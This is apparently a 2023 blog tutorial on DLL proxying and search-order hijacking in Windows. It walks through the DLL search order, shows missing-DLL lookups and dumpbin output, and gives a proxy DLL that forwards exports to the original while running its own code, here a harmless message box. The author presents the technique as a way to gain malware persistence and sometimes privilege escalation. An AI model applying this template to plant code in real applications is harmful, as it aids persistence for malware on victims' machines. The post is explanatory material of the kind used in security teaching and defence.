DLL Proxying

DLL proxying refers to replacing a DLL with our own, which will provide the same functionality as the original one.

This was seen recently in the 3CX supply chain attack, where a modified ffmpeg would load malicious code.

The advantages of doing this are providing persistence, as well as privilege escalation in some cases.

In what cases can this exploited?

A more detailed explanation is available on MSDN but I will provide the simpler, more common version.

When a DLL is loaded (either via LoadLibrary or the Windows Loader), the search order is as follows:

  • KnownDLLs (available at HKML\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs).
  • The application’s folder
  • C:\Windows\System32
  • C:\Windows
  • The current folder
  • The directories listed in the %PATH%.

How can I make use of this

We can exploit this issue if one of the DLL search paths is somewhere where we can write. This is particularly useful if the program is attempting to load a DLL that doesn’t exist.

CreateFile	C:\Users\User\source\repos\DllProxying\x64\Debug\FakeDll.dll	NAME NOT FOUND
CreateFile	C:\Windows\System32\FakeDll.dll	NAME NOT FOUND
CreateFile	C:\Windows\System\FakeDll.dll	NAME NOT FOUND
CreateFile	C:\Windows\FakeDll.dll	NAME NOT FOUND

As you can see, the file does not exist on disk, and I am capable of writing to my User’s folder.

Now let’s see what the DLL looks like:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
extern "C" __declspec(dllexport) void __cdecl Hello(void) {
	FILE* file = nullptr;
	const char buffer[] = "Hello!";
	fopen_s(&file, "output.txt", "w");
	fwrite(buffer, 1, sizeof(buffer), file);
	fclose(file);
}

BOOL APIENTRY DllMain(HMODULE hModule,
	DWORD  ul_reason_for_call,
	LPVOID lpReserved
)
{
	return TRUE;
}

Our main file, now using a real DLL which only exports a Hello function.

typedef void(*HelloFn)();
int main()
{
	HMODULE hModule = LoadLibrary(L"SampleDll.dll");
	HelloFn helloFn = (HelloFn)GetProcAddress(hModule, "Hello");
	HelloFn();
	return 0;
}

If I want to replace SampleDll with my own DLL, I would have to maintain the functionality of the original DLL.

We can perform this by proxying functions over to a separate DLL.

First, we require dumpbin from Microsoft.

We will run it on the DLL we intend to proxy with dumpbin /exports.

Dump of file SampleDll.dll

File Type: DLL

  Section contains the following exports for SampleDll.dll

    00000000 characteristics
    FFFFFFFF time date stamp
        0.00 version
           1 ordinal base
           1 number of functions
           1 number of names

    ordinal hint RVA      name

          1    0 00011028 Hello = @ILT+35(Hello)

Here is what our proxy DLL will look it, it will export functions from the original SampleDll while still adding its own functionality.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
#include <Windows.h>
#pragma comment(linker,"/export:Hello=SampleDll_Original.Hello,@1")
BOOL APIENTRY DllMain(HMODULE hModule,
	DWORD  ul_reason_for_call,
	LPVOID lpReserved
)
{
	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
		MessageBox(NULL, L"Proxied DLL", L"Proxied DLL", MB_OK);
		break;
	}
	return TRUE;
}

While more often than not it’s not a privilige escalation, it is something that number of applications are vulnerable to, which can aid in malware persistence.

I may write about more advanced techniques in the future, if there is an interest.

I have placed the relevant code on GitHub.

updatedupdated2023-05-122023-05-12